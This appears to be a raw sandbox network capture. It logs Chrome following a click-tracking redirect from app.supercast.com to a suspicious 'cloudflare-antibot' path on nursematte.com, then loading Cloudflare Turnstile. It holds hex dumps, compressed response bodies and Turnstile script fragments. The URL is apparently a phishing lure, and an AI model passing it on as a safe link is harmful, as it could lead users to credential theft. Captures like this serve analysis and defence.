2024-08-23 14:21:09 UTC	836	OUT	GET /ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot HTTP/1.1 Host: app.supercast.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:09 UTC	439	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 23 Aug 2024 14:21:09 GMT Content-Type: text/html Content-Length: 134 Connection: close Server: nginx Location: https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot Cache-Control: no-cache X-Request-Id: 5ec3cc7f-8480-4f0f-b6bb-0d8eb95a5f58 X-Runtime: 0.022374 Vary: Accept-Encoding Strict-Transport-Security: max-age=63072000; includeSubDomains X-Powered-By: cloud66
2024-08-23 14:21:09 UTC	134	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 75 72 73 65 6d 61 74 74 65 2e 63 6f 6d 2f 61 73 64 62 68 65 77 6a 63 6a 66 6e 6a 65 72 6e 66 72 65 64 64 62 65 63 6a 65 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 61 6e 74 69 62 6f 74 22 3e 72 65 64 69 72 65 63 74 65 64 3c 2f 61 3e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body>You are being <a href="https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot">redirected</a>.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49700	162.241.24.35	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:10 UTC	702	OUT	GET /asdbhewjcjfnjernfreddbecje/cloudflare-antibot HTTP/1.1 Host: nursematte.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:10 UTC	325	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 23 Aug 2024 14:21:10 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=iso-8859-1 Content-Length: 277 Location: https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/ X-Server-Cache: true X-Proxy-Cache: HIT host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==
2024-08-23 14:21:10 UTC	277	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 75 72 73 65 6d 61 74 74 65 2e 63 6f 6d 2f 61 73 64 62 68 65 77 6a 63 6a 66 6e 6a 65 72 6e 66 72 65 64 64 62 65 63 6a 65 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 61 6e 74 69 62 6f 74 2f 22 3e 68 65 72 65 3c 2f 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/">here</a
2024-08-23 14:21:10 UTC	703	OUT	GET /asdbhewjcjfnjernfreddbecje/cloudflare-antibot/ HTTP/1.1 Host: nursematte.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:10 UTC	1068	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:10 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=UTF-8 Content-Length: 797 Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Server-Cache: true X-Proxy-Cache: HIT RQo6~v}IHdhU@6-a4yhS@CHNew/O@l+QL%MG+_2f`Iz'1Z(^3)F#h{R^rHZdq)(W-`@ltA8K v.2I)5+J1)7mlX'As".AXkc@jRn=IB:Ai6X+G]VV_ '+=/#07]`"9T]lsc#>"m9VChr1'hZ0ZYS])%Bx)Y{xN$Bf$[dYE$Ic&BZ(gTYG`VO/r(0 (FAVw477=Xd06EH!p_et=Q')Jz=^:C[3b^"Dy#qSd>gV;fU^\wWcrxy)tq+;\|1>od6~jt^kkiy\|`zKJ,2Pzt!`arA: UALcaxf Wqu6VU7c}u5/
2024-08-23 14:21:14 UTC	630	OUT	GET /favicon.ico HTTP/1.1 Host: nursematte.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:14 UTC	2503	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:14 GMT Server: nginx/1.21.6 Content-Type: text/html Content-Length: 2178 Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Server-Cache: true X-Proxy-Cache: HIT Accept-Ranges: bytes Rm6 @%efpIwP %\|IYvo${w5,i8>Z<'J>~p=;S]-w+IHL;Z[C166YBy+Ong)N~ YfdwoOt@3u5k6Ff39Ok~0u$3\g".LwFu^(N<q"}+YvTzT+2yc;/'D? #bOu)g=cU;g2EV\?C\|}>#<=3ac=rC)\}(1eJ6OghPzY,8\|J`)l}9^7p;=omo"w!tRdUZ.&'==P@AU"cirvQcXYI5;\|b;(k=??#4_"yw)S`-C)`XHmy?(1;1/&Ee;.=&a"yO!Ip%=n0ov^l:JiGv~%"wLjL?%QfjoeUU/@dlLl,TfVxV;@(&+qh'hkqH/l W L_l#[:V M"jJlH nDwT%x Q:Ez'RUA8J2+Plm98 4v&"<`\|u>,:+03`8~B([`(g-.=f\y[h@.`cCCjIB%(R`&PI8 ;![<Kz:]A)5%KT3's$k]B6ju=$-P3Ic4@-vjqP[%@y% Na0 j~Z3g"AEuHt,W4ltcQ7ZNeor$uB"\+qD1#CCX ::DGyB$Nuad Vnp Sbe8E&o\|5qE.(<lhm%(Q]P`1Ek^f\ O,?zPiz0h:{tI9(-2P}f@@< hjpf">M}3"TsH,^!,FPN7Gd)[-h#79u\haQ))O'o'(;@swLp(\|&ui2m++S_QKAyYB(`g-!mN`3Al;z;TwG8H08eCL3.hV\k`I5!MAU}rq#(h BQ9R2KB~2\Dsbb_/sVx.]vKIDO`t>z-U8v%zk>eIsXaHB-{Qq[!`PZU[iX<h62i!R6]"I[5%lX~o0O%?{F8d/!Tm%x3lSlx,gQZ3m_.NOVcny[q8^~uh.q=OF76ju_my

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49703	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:11 UTC	542	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nursematte.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:11 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 23 Aug 2024 14:21:11 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/6790c32b9fc9/api.js Server: cloudflare CF-RAY: 8b7bbf63b90f4237-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49704	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:12 UTC	557	OUT	GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nursematte.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:12 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:12 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 45035 Connection: close accept-ranges: bytes last-modified: Thu, 15 Aug 2024 16:28:23 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8b7bbf68593ec468-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:12 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 5f 3d 65 5b 75 5d 28 67 29 2c 70 3d 5f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 61 28 66 29 3b 72 65 74 75 72 6e 7d 5f 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);funct
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 24 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function $e(e,r){return r=r!=nu
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 4a 65 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 43 74 28 65 29 7c 7c 4e 74 28 65 2c 72 29 7c 7c 4c 74 28 65 2c 72 29 7c 7c 6b 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(a))return Je(e,r)}}function be(e,r){return Ct(e)\|\|Nt(e,r)\|\|Lt(e,r)\|\|kt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ne(e,r){var a={label:0,sent:function(){if(u[0
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 46 74 3d 33 30 30 30 32 30 3b 76 61 72 20 6b 65 3d 33 30 30 30 33 30 3b 76 61 72 20 4c 65 3d 33 30 30 30 33 31 3b 76 61 72 20 42 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ft=300020;var ke=300030;var Le=300031;var B;(fu
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 75 65 7c 7c 28 75 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6c 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ue\|\|(ue={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var le;(fun
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 76 61 72 20 59 3d 22 30 2f 30 22 3b 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 Data Ascii: var Y="0/0";function ft(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="d
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 63 2c 75 3d 4c 28 78 72 2c 28 63 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 67 2c 5f 3d 4c 28 77 72 2c 28 67 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 67 21 3d 3d 76 6f 69 64 20 30 3f 67 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 26 26 75 3f 22 Data Ascii: HAVING_TROUBLES,c,u=L(xr,(c=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&c!==void 0?c:"nonexistent"),g,_=L(wr,(g=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&g!==void 0?g:"nonexistent");return o&&u?"
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 7d 2c 73 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 5a 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: __proto__\|\|Object.getPrototypeOf(a)},se(e)}function Zt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Pe(e){var r=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Zt(o))return o;if(typeof o!="function")
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 61 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 50 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 76 61 72 20 65 3d 67 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 Data Ascii: riptElement)&&e.test(r.src))return r;for(var a=document.querySelectorAll("script"),o=0,c;c=a[o];o++)if(P(c,HTMLScriptElement)&&e.test(c.src))return c}function ar(){var e=gt();e\|\|v("Could not find Turnstile script tag, some features may not be available",4
2024-08-23 14:21:12 UTC	1369	IN	Data Raw: 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 66 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 30 70 78 22 2c 66 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 Data Ascii: ("allow","cross-origin-isolated; fullscreen"),f.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),f.setAttribute("scrolling","no"),f.style.borderWidth="0px",f.style.width="100%",f.style.height="100%",f.style.overflow="hidd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49705	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:13 UTC	383	OUT	GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:13 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:13 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 45035 Connection: close accept-ranges: bytes last-modified: Thu, 15 Aug 2024 16:28:23 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8b7bbf6db9967ced-EWR alt-svc: h3=":443"; ma=86400
